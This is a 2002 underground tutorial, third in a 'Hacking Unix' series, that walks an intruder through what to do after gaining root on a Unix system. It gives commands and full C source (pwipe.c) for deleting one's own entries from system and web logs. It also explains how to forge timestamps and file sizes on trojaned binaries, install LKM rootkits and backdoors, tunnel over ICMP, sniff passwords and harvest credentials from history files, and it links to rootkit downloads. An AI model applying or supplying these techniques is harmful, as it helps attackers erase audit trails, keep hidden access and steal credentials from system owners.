- HACKING UNIX -
                              PART THREE:

                          AFTER THE BREAK-IN
                        ----------------------

Edit started: 01-18-02 (MM-DD-YY)
Edit finished: 02-20-02 (MM-DD-YY)
By: XT - [DuHo] <http://duho.cjb.net>

&** This is a multi-part tutorial,
&** please check our website for other
&** parts:
&** http://duho.cjb.net
&
& Make sure you have read PART ONE and PART TWO before proceeding
&
&
&

******

INDEX:

0. - Forword
1. - Introduction
2. - Hiding your source location
     2.1 Hopping the internet
3. - Wiping the logs
     3.1 UTMP
     3.2 WTMP
     3.3 LASTLOG
     3.4 Using logwipers
     3.5 Other logs
     3.6 Wiping the plaintext logs
4. - Installing rootkits
     4.1 Trojaned binaries
     4.2 Kernel Modules
5. - Installing backdoors
     5.1 Basic local backdoors
     5.2 Basic remote backdoors
     5.3 Trojaned services
     5.4 Advanced Backdooring
         5.4.1 Covert channels
         5.4.2 WebApplication backdoors
         5.4.3 Others
6. - Spy!
     6.1 Sniffers
     6.2 Other stuff
7. - Final words

****************************************************************


0. Forword

This is the third part of the HACKING UNIX series already.

To try out stuff discussed in this tutor, try it out on your own system
and mail me your IP address ;^}.

I have written some code specially for this tutorial. But note that you
 do not have to understand C programming to read this guide!  Also, don't
over-estimate my programming skills, I'm still learning... However, feel
free to use my source code in your personal programs if you find it
usefull.

********
In no way am I nor any member of DuHo responsible for criminal activity
or damages caused by (ab)using this information.
********

1. Introduction

You have been up all sunday night, hacking this computer. Your wrists
hurt (you probably have some kind of Repetitive Strain Injuri). But you
won't give up, yet you hit some more keys on the keyboard. You hear your
harddisk copying another program file into memory, the LEDs on your modem
light up. You don't know what this program does exactly... all you know
it is somehow attacking your victim. While you're waiting, you light up
another sigarrette. At THAT moment your monitor prints a hopefull
message:

sh# _

You get this weird feeling in your stomach. It feels great, but at the
same time you're scared! You remember you read that things get logged,
and that hackers' remove their traces and make sure they can get back in. 
But HOW?????

Don't worry kid, just follow me.

2. Hiding your source location

Okay, say you really got into that system, and you forgot to remove a few
(or all ;^)) traces of your visit. If the sysadmin finds you in the logs, 
or through regular programs... you are nailed. Your inet address will 
probably show up, and you'll be busted.
{
	Though not many sysadmins check logs all day, believe me.
	But, you got to be paranoid, and *atleast* make sure there is no 
	chance of detection through regular means.
}

But because you cannot always be sure you can manipulate logs (e.g. when 
they use a seperated logging server) and they might have some additional 
security tools that you aren't aware of, you got to make it really hard 
for them to actually trace you back to your real home.

This can be done in various methods; wingates, dialups from tapped
phone-lines, internet cafes or connections from other shells you hacked.

2.1 Hopping the Internet

Connecting through hacked shells is like hopping through various hosts on 
the net before connecting to the victim.
{
	Warning: Even though your real source is hard to trace, remember 
	it's not the same as 'untracable', so do a good job at removing 
	your traces everytime: stay paranoid!
}
You need your toolbox on these shells you have access to, so you can 
attack from there. For example:

------------ sample ------------
bash# ./backdoor-client owned.box.net 54232_
Password: t4Ab0$-aa
Have a nice time!
sh# cd '.. '_
sh# ls_
wu260.c		clear.tgz
nmap.tgz	rootkit.tgz
nc.tgz		bsd-lkm.tgz
libnet.tgz	linux-lkm.tgz
pwipe.c
sh# _
------------ ~etcetera ------------

If you have the tools you need on an owned box, you can do all the work 
from there.
{
	Note: It's best to have your complete toolbox (exploits etc.) on 
	the box you are about to use to attack from *before* you attack 
	another system because this saves lots of time uploading stuff 
	you gonna need.
}

3. Wiping the logs

Most machines you access and play with log many things. If you don't wipe 
these traces, the admin will understand the system might be hacked and may 
investigate further. The admin might be paranoid and reinstall the box 
more secure so you lose access, or even the admin might do anything he 
can to trace you back, including a call to the FBI!

If you are a little bit smart, you will remove traces you left
immediately after you got root and you install backdoors that bypass 
logging for future access.

What NOT to do: Don't *delete* logfiles, most admins will find out.

You should also *only* remove the entriess that record *your* activities
on the system.

3.1 How to find them

Most *nix systems have a file called /etc/syslog.conf. Read it, it looks 
something like this:

----------
auth,authpriv.* -/var/log/auth.log
*.*;auth,authpriv.none -/var/log/sys.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log
*.emerg *
----------

Here you find the logs that are kept by syslog. That is; processes 
that use the syslog daemon to log events.
{
	Please note that I'm saying that this goes up for the processes 
	that log through syslog daemon *ONLY*
}

They might also log themselves without using syslog, e.g. in case 
syslogs' file format doesn't work for them.

For example, HTTP requests on Apache servers don't get logged through 
syslog. And when you accessed the system through a CGI bug, these traces 
are not removed when you only cleaned syslogs' logs.
Therefor you remove entry's from access_log like it's done with this 
quick&dirty command:

----------
# grep -v '<src-ip-address>' /path/to/access_log > a && mv a /path/to/access_log
----------

or you could use my plaintext logwiper found in chapter 3.8.

But, there are a few special logfiles, and these are (e)special(ly)  
dangerous ;^) (PHEAR!); utmp, wtmp and lastlog... and because of that I
have given each of them a seperate paragraph.

3.2 UTMP

You can see yourself in utmp, using:

----------
# who
root	tty1	Jan 25 19:30
root	tty2	Jan 25 19:31
root	tty3	Jan 25 20:26
#
----------

We *need* to use a command like 'who' to extract output from the utmp
file. That is; it's not a plaintext file, it's binary and you cannot edit
it with your plaintext editor (PHEAR MORE!).
You need a special logwiper for that one, and we're going to use my 
favorite logwiper for this job because I'm the one that's writing and 
you're not.
Let me introduce; 'clear', written by van Hauser [thc].

Clear will be utilized in paragraph 3.5, but first a little more 
background on the UTMP file, why it exists.

utmp contains the currently active (logged-in) users. Some programs use 
this file to lookup these users, and find more info about them.
Some programs that depend on the utmp file are 'who', 'w' and they are 
used frequently.
'w' gives long output; like the source IP address, user idle time, cpu 
usage, what program he is currently running... etc.

3.3 WTMP

wtmp keeps all logins and logouts, in almost the same fileformat as utmp.
The command 'last' uses the wtmp file to see which user logged in when, 
which tty he used, and from where he was connected
It looks like this:

----------
# last
root              tty2                      Thu Jan 31 09:09   still logged in
root              tty1                      Thu Jan 31 08:49   still logged in
runlevel          ~        2.4.16           Thu Jan 31 08:49 
reboot            ~        2.4.16           Thu Jan 31 08:49 
shutdown          ~~       2.4.16           Thu Jan 31 08:32 - crash  (00:16)
runlevel          ~        2.4.16           Thu Jan 31 08:32 
root              tty1                      Thu Jan 31 08:32 - 08:32  (00:00)
root              tty1                      Wed Jan 30 09:56 - 10:16  (00:19)
~etc.

wtmp begins Fri Nov 23 21:00:16 2001
# _
----------

The difference between utmp and wtmp file format is that wtmp includes
the '~' and '~~' which indicate shutdown or reboot respectively.

3.4 LASTLOG

'lastlog' contains records containing information about the last time
users logged in. A sysadmin might use this command to see for which users
shell access can be safely disabled.

----------
# lastlog_
Username         Port     From             Latest
root             tty2                      Thu Jan 31 09:09:12 +0100 2002
bin                                        **Never logged in**
daemon                                     **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
nobody                                     **Never logged in**
named                                      **Never logged in**
l.torvalds            pts/3                Sun Jan  6 21:48:35 +0100 2002
b.gates                                    **Never logged in**
a.cox                 pts/5                Sat Jan  2 09:05:01 +0100 2002
r.stallman            pts/1                Tue Dec 17 14:52:43 +0100 2001 
# _
----------

All this information is extracted from the lastlog file.

3.5 Using logwipers

Okay, it's obvious that you need to remove the traces from the utmp, wtmp, 
lastlog, utmpx, wtmpx etc. logfiles that may exist on *nix systems.

There are log-wiper tools available like cloak, zap and clear.

We will use clear for the job, because it is hard to detect a logfile was
manipulated when it is used.

So download clear13.tgz, it is here:
http://www.thehackerschoice.com/releases/thc-uht1.tgz.
This package contains clear13.tgz among other quite good unix hacking
tools.

Clear 1.3 consists of two programs, one for removing only the last entry 
of the user and one for removing all appearances of the user. Set the 
right path to wtmp, utmp, lastlog, wtmpx, utmpx or those that exist by 
editing the #define's in the sources.
Using /etc/syslog.conf you can probably find out where they are.

3.6 Other logs

If you have read syslog.conf carefully, you noticed that there are more 
logs than wtmp, utmp etc. These other logfiles are most likely plain 
text, and their records seperated by newlines.
They also have to be manipulated, as they may also contain traces of 
your activity.

You also have to remove traces from webserver logs, ftpd xfer logs,
sendmail logs etc, etc.
{
	Warning (once again): *NOT ALL LOGS ARE MAINTAINED BY SYSLOGD*
	So find them!
}

3.7 Wiping the plaintext logs

I've written a plain-text logwiper, because I felt like it.
It works pretty much like:

# grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a

The <entry-to-remove> might be your ip-address, in that case... all
entries containing your logged ip-address are removed.

My tool works like this:

-------------------
Compile:
# gcc -o pwipe pwipe.c

Syntax:
# ./pwipe <pattern> <logfile>

e.g.:
# ./pwipe '10.0.0.1' /var/log/httpd/access_log
-------------------

It removes the lines from <logfile> which contain <pattern> (Yeah I know 
it's simple).

That's all.

--- start-of pwipe.c ---
/*
 * Plaintext Log Wipe v1
 * 02-08-2002 XT [DuHo] [MM-DD-YYYY]
 *
 * Removes lines containing <pattern> from <logfile>.
 * Useful for removing IP-addresses from logfiles for example
 *
 * Usage:
 * gcc -o pwipe pwipe.c
 * ./pwipe <pattern> <logfile>
 *
 * ex.
 * # ./pwipe '192.168.1.231' /usr/adm/messages
 *
 * I, nor DUHO is responsible for any damage you might bring to a system
 * using this tool!
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
   FILE *fp;
   long fsize;
   long i;
   char *src;
   char *dest;
   char version[] = "Plaintext Log Wiper v1.0 by XT [DuHo]";

   printf("%s\n\n", version);

   if (argc<3)
    {
      printf("Syntax: %s <pattern> <logfile>\n", argv[0]);
      exit(0);
    }

   // open file read-only
   if ((fp = fopen(argv[2], "r"))==NULL)
    {
      fprintf(stderr, "Unable to open %s\n", argv[2]);
      exit(1);
    }

   // Is there any more direct way to determine filesize?
   fseek(fp, 0L, SEEK_END);
    if ((fsize = ftell(fp))<1)
     {
       fprintf(stderr, "%s is empty or an error occurred\n", argv[2]);
       exit(1);
     } else
          rewind(fp);

    // allocate enough memory
    src = (char *) malloc((size_t)fsize);
    dest = (char *) malloc((size_t)fsize);

   // select lines to remove
   for (i=0;(fgets(src, fsize, fp))!=NULL;)
    {
       if ((strstr(src, argv[1]))==NULL)
        {
          strncat(dest, src, (size_t)fsize);
        } else
           {
             printf("Selected: %s", src);
             ++i;
           }
    }

   // reopen file write-only
   if ((fp = freopen(argv[2], "w", fp))==NULL)
    {
      fprintf(stderr, "\nUnable to open file %s for writing\n", argv[2]);
      exit(1);
    }

   // write new logfile to disk
   if (fputs(dest, fp)<0)
    {
      fprintf(stderr, "\nUnable to overwrite file %s\n", argv[2]);
      exit(1);
    } else if (i>0)
         printf("\nSuccesfully removed %d %s!\n", i, i==1 ? "log-entry" : "log-entries");
      else
         printf("\"%s\" not found in %s\n", argv[1], argv[2]);

   fclose(fp);
   exit(0);
}  
--- eof ---

4. Installing rootkits

Rootkits are used to circumvent logging, hide processes, create
backdoors, hide files and directories.

When a rootkit system is installed correctly, the attacker is completely
invisible for sysadmins through regular tools.

4.2 Trojaned binaries

The most common kind of rootkit trojans binaries. Original programs like
ls, find, ifconfig, ps, top, netstat, etcetera are replaced with trojaned
ones. These trojaned versions hide specific information.

In case of 'ls' and 'find' it will hide certain files or directories
{
	which is used for example to hide the directory containing the 
	attackers' toolbox and gathered information (login credentials 
	etc.)
}

In case of ifconfig it will hide the PROMISC flag for a network interface
in case a sniffer runs.*(i'll get back on this)

In case of ps and top it will hide processes, like password crackers,
network sniffers, attackers' login process.

In case of netstat it will hide connections and backdoor-servers.

When you have installed the rootkit, check if the creation and
modification date is the same as the original, so it will be harder to
see it's not a legitimate binary. You can also use a file resizer to
change the size of the trojaned binary to that of the original. 
Allright, the trojaned binary is obviously bigger than the 
original, but you can strip symbols from the trojaned one using 
'strip', and then padd it with garbage till it is exactly the same size 
as the original for example, or use your assembly skills to shrink it.

But then still you can't do much against programs like tripwire.
{
	Programs like tripwire use cryptographic hash signatures that can 
	verify if a binary is legitate.
}

4.3 Kernel modules

An alternative to trojaned binaries are loadable kernel modules. Kernel
modules work like device drivers at kernel level, and are loaded during
runtime. They can intercept system calls and through this method hide
information, which is interesting to us ofcourse.

Kernel modules are harder to detect than trojaned binaries because they
don't modify existing binaries. But they can be detected by specific
tools, but as far as i know, they only scan for *known* LKM rootkits (so
code your own :)).

More information on kernel modules (and rootkits):

http://www.w00w00.org/files/articles/lkmhack.txt        // Linux LKM Tech
http://www.thehackerschoice.com/papers/LKM_HACKING.html // Linux LKMs; nearly complete reference
http://www.thehackerschoice.com/papers/bsdkern.html     // BSD LKMs; attacking FreeBSD
http://www.thehackerschoice.com/papers/slkm-1.0.html    // Solaris LKMs; attacking solaris
http://phrack.org/show.php?p=58&a=6                     // Advances in linux kernel hacking

Real-life modules:

http://www.neuralcollapse.f2s.com/files/Synapsys-lkm.tar.gz // linux lkm
http://www.pkcrew.org/tools/Rial.c // linux lkm
http://packetstormsecurity.org/groups/thc/slkm-1.0.tar.gz // solaris lkm
http://www.team-teso.net/releases/adore-0.42.tgz        // my favorite linux LKM

5. Installing backdoors

So we have wiped the logs, we have hidden our presence and uploaded the 
toolbox. We still have to make sure we can get back in. That is; we 
need to place one or more backdoors into the system.

Some more common backdooring techniques will be discussed in this 
chapter.
{
	"Some more common" means that not even half of the techniques 
	are introduced, this is because I think the number of backdooring 
	techniques are only limited to your imagination. When you have 
	full-access to a system, almost anything becomes possible.
}

Local, and remote backdoors are explained.
{
	Remote backdoors are individual programs and can be directly 
	interacted with remotely.
	Local backdoors use existing services which are backdoored.
}

5.2 Basic Local backdoors

You could simply trojan the login or telnet binary to give you a 
rootshell when you type in some magic string.

e.g.:

-------------------
# telnet victim.tv
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
login: THE_MASTER
Telnetd: I'm at your service sir!
victim# 
-------------------

Obviously, this extra feature into telnet is not programmed to log your 
visit, in fact it might also automatically instruct some local LKM 
rootkit to hide your process and more.

And ofcourse any service with root privilege is a subject for being
trojaned this way.

5.3 Basic remote backdoors

You may have worked with windows backdoors; netbus, bo or that modified 
netcat-nt backdoor which pipes a cmd shell for use on NT boxes.

For a unix environment you could write backdoor that forwards shell 
commands to the shell, and returns the results through TCP or UDP 
connections.

The basic remote backdoors are the easiest and most effective way to
backdoor a system, but at the same time not very stealthy. A simple
portscan reveils the open port, and might be easily recognized by an
admin as a non-service. Ofcourse your backdoor could listen on a port
that is less likely to raise suspicions (like not using port 1337 or
31337), or use other techniques to let the admin think it is a legitimate
and required service (emulating a well-known service or something). Or
you could put it on a port, where you would normally find a well-known
service.

But despite all this, it's not a very elegant method.

5.4 Advanced backdooring

In this paragraph I introduce some more advanced techniques used to get 
back in to a system.

5.1 Covert channels

Communication is done through packets. They contain the actual data to be
transferred along with a header with the details about the content of the
packet. The header contains standard fields and some optional fields with
information. Some of these fields can contain random data without the
risk of creating an illegal packet. As you may have guessed, a backdoor
could communicate with a backdoor client through the use of these covert
channels.

One of the protocols that can be targeted is ICMP, through the use of the
data section (where normally timing information is put) of ICMP ECHO
REQUEST and ICMP ECHO REPLY packets (the kind that PING uses).

Details about using ICMP for tunneling is detailed in whitepapers 
released in phrack:
http://www.phrack.org/phrack/49/P49-06
http://www.phrack.org/phrack/51/P51-06

It also contains source code of a backdoor using this kind of tunneling.

The use of such techniques prevents your backdoor from being detected 
using regular portscanning techniques, it also won't show up in 
netstat.

A disadvantage is that this kind of tunneling is not very reliable for 
communication.

5.4.2 Webapplication backdoors

I could imagine you writing a simple PHP or CGI script that accepts
commands, it could execute these through a SUID shell (a /bin/sh with
root privilege). This way you can bypass firewalls that may exist without
having to change ruleset. It is also reliable, but may also be discovered
by a good sysadmin.

5.4.3 Others

I can come up with other types of backdoors. Like a backdoor that doesn't
listen to incoming connections, but one that connects to your server...  
(which might help when bypassing firewalls which filter only incoming
connections). You could write an apache module that is a backdoor. You
could even put a security problem in a service application so you can get
back in for example, just use your imagination!

6. Spy!

Spy on the users! Any information from people using the system might help
you attacking other systems. From one system you can get into other
systems on that network but also on others. Maybe the sysadmin uses the
same password everywhere, so check where he connects to and have a look
there ;^).

6.1 Sniffers

A sniffer is a program that puts a network device into promiscuous mode, 
which means that it tells the network device to forward any traffic that 
physically passes the wire. The sniffer then translates traffic to more 
human-friendly format. Some sniffers only sniff packet headers (used for 
network debugging), and some also grab packet contents, this includes 
passwords etc. When people on the system use telnet, ftp, smtp, pop etc. 
the information is plaintext *not ciphered!* and you gather lots of new 
logins/passwords which can be used to crack other systems.

In some other part of 'Hacking Unix' I will tell you more about this.

6.2 Other stuff

Just walk through the target system and you will discover much more 
information. Sometimes you find plaintext shell script that contain 
passwords, you can check history files like (.bash_history) which might 
reveil interesting information, databases with plaintext passwords... 
anything!

7. Final words (for this part...)

This part was more an introduction than a guide. It's impossible to 
explain all about the methods used in the underground. It's too much, and 
you would get bored.

I hope you atleast understand the importance of wiping traces, and the 
part of hiding your source location in case they try to trace you back 
home.

Please take a look for new 'Hacking Unix' parts during the next couple of 
months.

XT [DuHo] 2001

Visit http://duho.cjb.net/ for updates or new parts of this tutorial every
now and then.

-EOF-
Size: 24576 bytes
chars: 23085
Words: 3493
Lines: 687